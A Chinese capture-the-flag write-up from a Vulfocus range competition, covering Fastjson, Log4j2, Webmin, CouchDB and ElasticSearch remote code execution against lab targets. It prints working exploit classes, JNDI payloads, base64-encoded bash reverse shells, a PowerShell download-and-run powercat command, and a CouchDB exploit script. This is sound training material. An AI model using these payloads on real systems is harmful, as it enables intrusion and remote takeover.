Vulfocus靶场竞赛 WriteUp

hxd  1045天前

作者:hxd@西津北固战队

声明:本文提及的工具仅用于对已授权的目标进行测试,请自行学习网络安全法,因使用本文提供的思路造成的损失,本文作者及工具的作者、白帽汇均不承担责任。继续阅读意味着您理解并同意本声明。

FastJson-RCE-[CNVD-2017-02833] 

概述

  • 目前存在漏洞的fastjson主要是两个版本

1.2.24 (cnvd_2017_02833)影响范围 <=1.2.24

1.2.47 (cnvd_2019_22238)影响范围 <=1.2.47

  • 漏洞检测的方式主要是POS请求发送json参数,然后反序列化执行命令,再通过dnslog平台来回显
  • 漏洞利用的方式主要是POS请求发送json参数,然后反序列化执行命令,反弹shell
  • 两个版本的漏洞检测和利用方式几乎一致,除了payload不一样

搭建靶机

  • 使用vulfocus搭建靶机,获得访问地址:192.168.1.11.59260,本机地址为192.168.0.20

vulfocus/fastjson-cndv_2017_02833

vulfocus/fastjson-cndv_2019_22238

vulfocus/035 (比赛靶机)

vulfocus/036 (比赛靶机)

image.png

image.png

通常看到json传输数据的,可以测试下是不是存在fastjson的漏洞,burp的插件可以很方便进行检测。这里因为是vulfocus的靶机,很熟悉,所以很明确的知道是存在fastjson的漏洞的

抓取流量

  • 打开url,并抓取流量,直接改成POST请求,随便测试json参数,发现并不会报错

image.png

准备利用环境

因为这个wp我很久之前写过,拿来改了改,所以前面是传统的方法和步骤,没有耐心的可以直接略过到最后

  • 搭建一个web服务器,如果有现成的可以直接用,前提是靶机要能够访问到这个web服务
  • 使用python可以很方便的搭建web服务,执行下面的命令,相当于开通了一个端口是8888的web服务
python3 -m http.server 8888

image.png

web服务的根目录就是当前命令执行的目录,可以建个文件夹,然后在这个文件夹目录下执行命令

后面我们要在此目录下创建文件

构建POC文件

  • 在web服务根目录下建立 Exploit.java 文件,代码如下
public class Exploit{
    public Exploit() {}
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "ping xxxx.dnslog.cn"}
                    : new String[]{"/bin/bash","-c", "curl xxxx.dnslog.cn"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Exploit e = new Exploit();
    }
}

image.png

  • 替换后,执行命令把Exploit.java 编译成class
javac Exploit.java
  • 如果提示找不到这个命令,到你的jdk安装目录中找

image.png

image.png

成功生成了class文件

image.png

建立RMI服务

marshalsec-0.0.3-SNAPSHOT-all.jar

  • 执行下面的命令,建立RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Exploit" 8889

image.png

这里命令需要重点理解,大致意思是通过加载 http://192.168.0.20:8888/Ecploit.class的方式在8889端口建立RMI服务,到这一步就理解了为什么上面要建立web服务,web服务的端口和RIM服务的端口不要混淆

网上很多文章这里说明的很模糊,端口号上下文也不匹配,导致复现失败

发送POC请求

  • payload,不同版本的不一样,这是1.2.24的
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.20:8889/Exploit",
        "autoCommit":true
    }
}
  • 这是1.2.47的
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.0.20:8889/Exploit",
        "autoCommit":true
    }
}
  • POST请求的参数替换成payload

image.png

  • 查看了dnslog,果然接受到了请求,也就是说Exploit.java 文件中的命令得到了执行

image.png

  • 到此就证明了漏洞的存在

反弹shell

  • 其实到这里就很简单,只要修改Exploit.java的代码就行,为了方便我们直接创建一个新的文件 Rshell.java
public class Rshell{
    public Rshell() {}
    static
    {
        try {
            String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                    ? new String[]{"cmd.exe","/c", "powershell \"IEX (New-object System.Net.Webclient).DownloadString('http://192.168.0.20/powercat.ps1'); powercat -c 192.168.0.20 -p 9999 -e powershell\""}
                    : new String[]{"/bin/bash","-c", "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMS4xMS4xMS4xMS85OTk5IDA+JjEK}|{base64,-d}|{bash,-i}"};
            Runtime.getRuntime().exec(cmds);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static void main(String[] args) {
        Rshell e = new Rshell();
    }
}
  • 理解下这里的代码,这里反弹shell采用两种方式,根据不同的操作系统来区分
  • 靶机如果是windows,需要通过powercat来反弹shell,https://github.com/besimorhino/powercat

image.png

  • 例如使用PowerShell远程下载PowerCat执行反弹cmd命令
powershell IEX (New-object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.1.106 -p 6666 -e cmd

Rshell中的代码远程下载的是事先下载好然后放到python那个web服务下的,反弹的是powshell

  • 靶机如果是liunx就更加简单了,直接把命令base64加密然后替换就好
bash -i >& /dev/tcp/192.168.0.20/9999 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMjAvOTk5OSAwPiYx
  • 替换完成后,编译生成Rshell.class文件
  • 重启RIM服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.20:8888/#Rshell" 8889
  • 本机开启监听
nc -lvvp 9999
  • 发送payload,注意修改成Rshell

image.png

  • 成功反弹了shell,获得了flag

image.png

image.png


更加便捷的方法

上面是比较传统的方法和过程,各路大神已经写了很多更加方便的工具,可以快速的建立RIM或者LDAP的服务,都不用自己从头开始构建恶意类了,可以直接反弹shell或者上传各种内存马

  • JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt

加密反弹shell的命令

bash -i >& /dev/tcp/192.168.0.20/9999 0>&1

加密网站

https://www.jackson-t.ca/runtime-exec-payloads.html

其实就是base64加密,也可以用其他工具

加密后

bash -c {echo,YmFzaCAtaSA+JiAvZGVXXXXX5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

启动服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDMuMXXXXXXXOTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps的地址"

image.png

  • JNDIExploit.jar    

感兴趣的可以去了解  https://github.com/zzwlpx/JNDIExploit,感觉使用起来比上面那个还要方便,不过这个就见仁见智了



Log4j2-RCE-[CVE-2021-44228]

概述

漏洞描述

Apache Log4j2是一款优秀的Java日志框架。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置漏洞评级

CVE-2021-44228 Apache Log4j 远程代码执行漏洞 严重

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞 严重

影响版本

注:Apache Log4j 1.x 版本不受此次漏洞影响。

CVE-2021-44228 Apache Log4j 远程代码执行漏洞

Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 (2.12.2 版本不受影响)

CVE-2021-45046 Apache Log4j 拒绝服务与远程代码执行漏洞:

Apache Log4j 2.x >=2.0-beta9 且 < 2.16.0(2.12.2 版本不受影响)

漏洞POC

搭建靶机

使用vulfocus搭建靶机,并获得访问地址

vulfocus/log4j2-rce-2021-12-09:latest

vulfocus/062 (比赛靶机)

image.png

image.png因为比赛的靶机没有任何的漏洞描述,但是因为之前log4j2漏洞爆发的时候,第一时间在vulfocus上测试了相关的靶机,初始访问的时候也是这个页面,然后POST了下路径hello,返回ok,确认是log4j2漏洞

image.png

Payload

${jndi:ldap://tm0ftq.dnslog.cn/Exploit} 

使用此paylaod可以直接通过dnslog查询的方式验证漏洞是否存在

payload=%24%7Bjndi%3Aldap%3A%2F%2Ftm0ftq.dnslog.cn%2FExploit%7D

image.png

image.png


dnglog的收到了请求,证明了漏洞的存在

漏洞利用

搭建LDAP服务

下载第三方工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar.txt

加密反弹shell的命令

bash -i >& /dev/tcp/47.103.XXX.XXX/9999 0>&1

加密网站

https://www.jackson-t.ca/runtime-exec-payloads.html

其实就是base64加密,也可以用其他工具

加密后

bash -c {echo,YmFzaCAtaSA+JiAvxxxxxM5Ljddddddd5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}

启动服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3Rjcxxxxxxxxxxk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "vps地址"

image.png

开启监听

nc -lvvp 9999

反弹shell

使用第一个服务(其他几个我试了都不行),发送payload

image.png

反弹成功,并获得flag

image.png




Webmin-RCE-[CVE-2019-15107]

概述

漏洞描述

Webmin的是一个用于管理类Unix的系统的管理配置工具,具有网络页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。它已知在端口10000上运行。在重置密码功能中发现了一个错误,该错误允许恶意第三方由于缺少输入验证而执行恶意代码。

影响版本

Webmin <= 1.920

漏洞POC

环境搭建

使用vulfocus,启动靶机

vulfocus/webmin-cve_2019_15107:latest

vulfocus/0019(比赛靶机)

image.png

打开页面,根据页面上的提示使用https访问,很显然是一个webmin系统

image.png

payload

POST  /password_change.cgi HTTP/1.1
Host: 106.75.119.109:24335
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: redirect=1; testing=1; sid=2c97114272115f9e3e52307ff418b31d; sessiontest=1
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 60

user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2

发送payload,可以发现返回了当前用户

image.png

漏洞利用

具体操作同上,只需要修改命令即可,比如获取flag

image.png




CouchDB-RCE-[CVE-2017-12636]

概述

漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,javascript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。CouchDB允许通过自身提供的Restful API接口动态修改配置属性,我们可以在一个未授权访问的CouchDB上,通过修改其query_server配置,来执行系统命令。

影响版本

CouchDB < 1.7.0

CouchDB < 2.1.1

漏洞POC

环境搭建

使用vulfocus搭建环境,启动靶机

vulfocus/couchdb-cve_2017_12636:latest

vulfocus/059 (比赛靶机)


image.png

比赛靶机隐藏了漏洞的描述,不过通过访问地址返回的json,我们可以看到是couchdb,版本为1.6.0

image.png

Payload

脚本中的参数需要修改

target:靶机地址,

command:星号改成自己的vps地址,用于反弹shell

version:根据CouchDB的版本来设置, 1表示为1.X,2表示为2.X

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://xxxxxx:xxxx'
command = rb"""sh -i >& /dev/tcp/***.***.***.***/9999 0>&1"""
version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

在vps上开启监听

nc -lvvp 9999

执行脚本并反弹shell


image.png

漏洞利用

操作同上,比如获取flag

image.png



ElasticSearch-RCE-[CVE-2014-3120]

概述

漏洞描述

ElasticSearch是基于开源的全文检索引擎Lucene,是一个实时分布式搜索和分析引擎,支持全文检索,结构化检索和数据分析等。

ElasticSearch1.2版本之前支持动态脚本。漏洞是通过_search方法的参数传入恶意代码,远程执行任意MVEL表达式和Java代码。

影响版本

ElasticSearch < 1.2

漏洞POC

环境搭建

使用vulfocus搭建环境,开启靶机

vulfocus/elasticsearch-cve_2014_3120:latest

vulfocus/058(比赛靶机)


image.png访问地址,返回的是一串json的字符串,因为比赛的靶机隐藏了漏洞的描述信息,所以熟悉的人可能知道这个是ElasticSearch的版本信息,可以看到版本号是 1.1.1。

image.png

不熟悉的人就要使用工具先收集一些信息了。这里我们使用信息收集的利器Goby,自带了大量系统、设备和中间件的识别指纹,还可以进行各种漏洞检测利用,尤其是红队版,漏洞的检测能力更强

image.png

Payload

首先添加一条数据

POST /website/blog/ HTTP/1.1
Host: 106.75.119.109:58472
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 26

{
  "name": "vulfocus"
}

image.png

执行命令,script的部分就是执行java代码的

POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:44991
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 361

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}


image.png

漏洞利用

具体操作同上,比如还可以同时执行多个恶意代码

POST /_search?pretty HTTP/1.1
Host: 106.75.119.109:44991
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 532

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"ls /tmp\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        },
"test": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}


image.png


总结

本次vulfocus靶场竞赛,竞争激烈,参与者众多,一度导致系统无法正常访问,不过赛事举办方忙而不乱,稳中有序,及时处理了各种问题,保障了比赛的正常进行,这里要为举办方的付出和努力点个赞。

这次比赛的题目都是出自于vulfocus的靶场,不过隐去了漏洞的描述,所以对选手的信息收集能力有了一定的要求,需要先确定是什么漏洞(不得不说goby真的很好用),参与比赛让我意识到,不是为了打靶场而打靶场,相关的漏洞要多了解,各种工具和脚本不是拿来主义,而是要能够明白里面的逻辑和原理,才能转化为自己的知识和能力。

logo_long.png

最新评论

shuxx  :  您好,是log4j漏洞的最新vulfocus镜像好像不支持post请求?
981天前 回复
昵称
邮箱
提交评论